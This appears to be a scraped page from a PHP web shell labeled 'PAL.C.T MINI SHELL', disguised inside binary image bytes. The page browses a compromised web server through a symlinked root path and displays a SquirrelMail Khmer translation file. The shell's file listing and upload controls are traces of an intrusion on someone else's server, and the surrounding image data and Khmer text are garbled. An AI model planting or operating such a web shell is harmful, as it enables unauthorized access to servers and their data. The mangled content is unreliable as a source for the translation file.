‰php  IHDRwQ)Bæa pHYs  šœsRGB®ÎégAMA± üaÔIDATxíÜMk\UÇás&uo,ÖmÄD )XwîŒ+Çe?‰ºtw.“oàWpå§;—³°QHZnw¢`gaiJ’9Þˆ‰ÑÒÌŸç™û¾ýÍaî=·nlŽ[ ʨG܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îú¸·y H†¯@E7j­Í 1j+OF¥–€‹Rg}Ü«‘;@’E™Öa¹±ùáÓ~ ÿj`Ùuû'ož> ÙjÝ-$˜_§q?¾q¸SXzG'åóay

PAL.C.T MINI SHELL
files >> /var/www/html/sub/images/sym/root/usr/share/squirrelmail/locale/km/LC_MESSAGES/
upload
files >> //var/www/html/sub/images/sym/root/usr/share/squirrelmail/locale/km/LC_MESSAGES/templates.po

# Khmer (km) templates Translation
# Khoem Sokhem <khoemsokhem@khmeros.info>, 2008, 2009.
# Auk Piseth <piseth_dv@khmeros.info>, 2008.
# Copyright (c) 2008-2009 KhmerOS Project
# Copyright (c) 1999-2009 The SquirrelMail Project Team
msgid ""
msgstr ""
"Project-Id-Version: templates\n"
"POT-Creation-Date: 2005-10-24 21:02+0300\n"
"PO-Revision-Date: 2009-04-24 09:33+0700\n"
"Last-Translator: Khoem Sokhem <khoemsokhem@khmeros.info>\n"
"Language-Team: Khmer <en@li.org>\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"X-Generator: KBabel 1.11.4\n"
"Plural-Forms: nplurals=1; plural=0;\n"

#, php-format
msgid "Template file, %s, could not be opened. Contact your system administrator to resolve this issue."
msgstr "ឯកសារ​ពុម្ព %s ដែល​មិនអាច​​បើក​បាន ។ ទាក់ទង​អ្នក​គ្រប់គ្រង​ប្រពáŸáž“្ធ​របស់​អ្នក​ដើម្បី​ដោះស្រាយ​បញ្ហា​នáŸáŸ‡Â áŸ”"

#, php-format
msgid "Template file, %s, could not be written. Contact your system administrator to resolve this issue."
msgstr "ឯកសារ​ពុម្ព %s មិន​អាច​សរសáŸážšâ€‹áž”ានទáŸÂ áŸ” ទាក់ទង​អ្នក​គ្រប់គ្រង​ប្រពáŸáž“្ធ​របស់​អ្នក​ដើម្បី​ដោះស្រាយ​បញ្ហា​នáŸáŸ‡Â áŸ”"

#, php-format
msgid "Template file, %s, could not be copied from temporary file, %s. Contact your system administrator to resolve this issue."
msgstr "ឯកសារ​ពុម្ព %s មិនអាច​ចម្លង​ចáŸáž‰â€‹áž–ី​ឯកសារ​បណ្ដោះ​អាសន្ន​បានទ០%s ។ ទាក់ទង​អ្នក​គ្រប់គ្រង​ប្រពáŸáž“្ធ​របស់​អ្នក​ដើម្បី​ដោះស្រាយ​បញ្ហា​នáŸáŸ‡Â áŸ”"

msgid "You must be on WYSIWYG mode!"
msgstr "អ្នកážáŸ’រូវ​ážáŸ‚​​ប្រើ​ជា​របៀប WYSIWYG !"

msgid "Add Template"
msgstr "បន្ážáŸ‚ម​ពុម្ព"

msgid "Templates"
msgstr "ពុម្ព"

msgid "Create/Edit/Delete chunks of text that can be quickly added to messages."
msgstr "បង្កើáž/​កែសម្រួល​/លុប​កំណាážáŸ‹â€‹áž¢ážáŸ’ážáž”ទ​ដែល​អាច​បន្ážáŸ‚ម​ទៅសារ​យ៉ាង​លឿន ។"

msgid "Append Templates before all existing text"
msgstr "បន្ážáŸ‚ម​ពុម្ព​មុនពáŸáž›â€‹áž¢ážáŸ’ážáž”ទ​ដែល​មាន​ទាំងអស់"

msgid "Yes"
msgstr "បាទ/​ចាស"

msgid "No"
msgstr "áž‘áŸ"

msgid "Add blank line before template text when appending"
msgstr "បន្ážáŸ‚ម​បន្ទាážáŸ‹â€‹áž‘ទ០មុនពáŸáž›â€‹áž”ន្ážáŸ‚ម​អážáŸ’ážáž”ទ​ពុម្ព"

msgid "Add blank line after template text when appending"
msgstr "បន្ážáŸ‚ម​បន្ទាážáŸ‹â€‹áž‘ទ០បន្ទាប់​ពី​បន្ážáŸ‚ម​អážáŸ’ážáž”ទ​ពុម្ព"

#, php-format
msgid "Template %d"
msgstr "ពុម្ព %d"

msgid "Options"
msgstr "ជម្រើស"

msgid "Add a New Template"
msgstr "បន្ážáŸ‚ម​ពុម្ព​ážáŸ’មី"

msgid "Description"
msgstr "សáŸáž…ក្ដី​ពិពណ៌នា"

msgid "Template Text"
msgstr "អážáŸ’ážáž”ទ​ពុម្ព"

msgid "Save / Update"
msgstr "រក្សាទុក / ធ្វើ​ឲ្យ​ទាន់សមáŸáž™"

msgid "Delete"
msgstr "លុប"

msgid "Move Up"
msgstr "ផ្លាស់ទី​ឡើងលើ"

ß yôÊá½~ŒorÀ5ÖJ™={þÁEÇêe¾uç£Qk®•ᯘG{÷?ù»ã+—]üôçƒÉÍ×ןô?wûM3X^¶Úæ­Œ>{´7Ù¾ì´Kã>èo²ÎnÝ\ÿªÊj¿y·ðR £õãg/î=ÞÿfúOçÖr·o×NVÊv¿ú~ÿY+ü¿NGêu÷ø·Ã®›þë¹HWŠûyëwÆ[eQ¶Ê¨¾SÚb­Ö>öÍËÇþ³>ä}Gçmx[o[<ÞÚ{ðýŸÏ®_ÅïqF– ÚÛvMIEND®B`‚